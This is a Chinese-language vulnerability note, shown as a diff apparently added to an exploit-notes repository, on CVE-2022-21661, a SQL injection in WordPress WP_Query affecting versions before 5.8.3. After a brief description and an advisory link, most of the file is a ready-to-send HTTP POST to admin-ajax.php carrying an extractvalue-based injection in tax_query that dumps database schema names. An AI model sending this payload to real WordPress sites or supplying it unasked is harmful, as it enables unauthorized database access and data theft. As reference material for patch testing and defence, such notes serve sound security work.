服务器应用漏洞/WordPress WP_Query SQL 注入漏洞 CVE-2022-21661.md

2025-11-05 10:50:23 +00:00 · 2022-06-23 16:16:45 +08:00 · 2022-06-23 16:16:45 +08:00 · ac5116baff
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+# WordPress WP_Query SQL 注入漏洞 CVE-2022-21661
+
+## 漏洞描述
+
+`WordPress`是一个用`PHP`编写的免费开源内容管理系统，由于`clean_query`函数的校验不当，导致了可能通过插件或主题以某种方式从而触发`SQL`注入的情况。这已经在`WordPress5.8.3`中进行了修复。影响版本可以追溯到`3.7.37`。
+
+参考阅读：
+
+- https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84
+
+## 漏洞影响
+
+```
+WordPress < 5.8.3
+```
+
+## 漏洞POC
+
+获取数据库名：
+
+```
+POST /wp-admin/admin-ajax.php HTTP/1.1
+Host: 
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
+Accept: */*
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 130
+
+action=test&data={"tax_query":[{"field":"term_taxonomy_id","terms":["1) and extractvalue(rand(),concat(0x5e,(select group_concat(schema_name) from information_schema.SCHEMATA)))#"]}]}
+```
+
+![image-20220623160952210](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202206231609284.png)